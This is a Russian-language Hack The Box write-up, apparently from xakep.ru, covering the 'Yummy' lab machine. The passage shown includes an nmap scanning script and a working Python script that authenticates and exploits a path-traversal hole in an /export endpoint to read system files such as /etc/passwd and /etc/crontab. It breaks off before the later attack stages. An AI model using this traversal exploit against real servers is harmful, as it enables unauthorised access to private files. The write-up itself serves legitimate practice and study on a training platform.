HTB Yummy. Атакуем веб-сервер и эксплуатируем слабую криптографию

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • LFI
  • Broken Access
  • SQL Injection
  • Продвижение
  • Пользователь www-data
  • Пользователь qa
  • Пользователь dev
  • Локальное повышение привилегий

Се­год­ня я покажу, как иног­да мож­но под­делать крип­тогра­фичес­кий токен, если тебе извес­тны огра­ниче­ния алго­рит­ма. Так­же про­ведем ряд атак на веб‑сер­вер и повысим при­виле­гии в Linux через ути­литу Rsync.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Yummy с учеб­ной пло­щад­ки Hack The Box. Уро­вень задания — слож­ный.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.36 yummy.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 9.6p1;
  • 80 — веб‑сер­вер Caddy (как показал Nmap).

Пер­вым делом осмотрим­ся на сай­те.

Глав­ная стра­ница сай­та 

Точка входа

На глав­ной стра­нице есть фор­ма бро­ниро­вания сто­ла.

Фор­ма бро­ниро­вания сто­ла

За­пол­няем все поля фор­мы слу­чай­ными дан­ными и получа­ем ответ, что зап­рос обра­ботан.

От­вет сер­вера

За­регис­три­руем­ся на сай­те, ука­зав email, на который был заб­рониро­ван стол. Пос­ле авто­риза­ции на сай­те мож­но най­ти запись о бро­ниро­вании.

За­писи о бро­ниро­вании

На сай­те есть воз­можность сох­ранить запись в фор­мате iCalendar. При этом файл ска­чива­ется с сер­вера, но через обра­бот­чик на эндпо­инте /export. Это мож­но уви­деть в Burp History.

Burp History 

Точка опоры

 

LFI

Поп­робу­ем выпол­нить обход катало­га и получить содер­жимое фай­ла /etc/passwd. Для это­го акти­виру­ем перех­ватчик в Burp Proxy и выпол­няем экспорт на сай­те. Пер­вый зап­рос в Burp Proxy про­пус­каем, а во вто­ром изме­ним путь к фай­лу.

Пер­вый зап­рос в Burp Proxy

Вто­рой зап­рос в Burp Proxy

В ито­ге ска­чива­ется ука­зан­ный файл /ect/passwd, а зна­чит, есть уяз­вимость обхо­да катало­га.

Со­дер­жимое ска­чан­ного фай­ла

Экс­плу­ата­ция уяз­вимос­ти усложня­ется тем, что в отве­те сер­вера на пер­вый зап­рос есть одно­разо­вый иден­тифика­тор, который отправ­ляет­ся во вто­ром зап­росе. А зна­чит, для получе­ния любого фай­ла нуж­но выпол­нять два зап­роса.

Для удобс­тва напишем на Python прос­тень­кий скрипт, который будет логинить­ся на сай­те и получать сес­сион­ный JWT, затем вто­рым зап­росом получать одно­разо­вый иден­тифика­тор и уже треть­им — ука­зан­ный файл.

import requestsimport jsonimport sysdef get_access_token(): url = "http://yummy.htb/login" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", } payload = { "email": "[email protected]", "password": "<PASSWORD>" } try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: data = response.json() return data.get("access_token") else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Nonedef get_session_token(access_token): url = "http://yummy.htb/reminder/21" headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", "Cookie": "X-AUTH-Token=" + access_token } try: response = requests.get(url, headers=headers, allow_redirects=False) if response.status_code == 302: set_cookie = response.headers.get("Set-Cookie") if set_cookie: for cookie in set_cookie.split(";"): if cookie.strip().startswith("session="): return cookie.strip().split("=", 1)[1] else: print("Header Set-Cookie invalid") return None else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Nonedef get_export_file(access_token, session_token, filename): url = "http://yummy.htb/export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e" + filename headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", "Cookie": "X-AUTH-Token=" + access_token + "; session=" + session_token } try: response = requests.get(url, headers=headers) if response.status_code == 200: return response.text else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Noneaccess_token = get_access_token()session_token = get_session_token(access_token)text = get_export_file(access_token, session_token, sys.argv[1])print(text)

Со­дер­жимое фай­ла /etc/hosts

Уз­нать мес­то рас­положе­ния исходно­го кода через /proc/self/cmdline не выш­ло, поэто­му прос­то переби­раем инте­рес­ные сис­темные фай­лы. Так доходим до пла­ниров­щика задач cron. Находим три скрип­та, которые обя­затель­но нуж­но изу­чить.

Со­дер­жимое фай­ла /etc/crontab

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *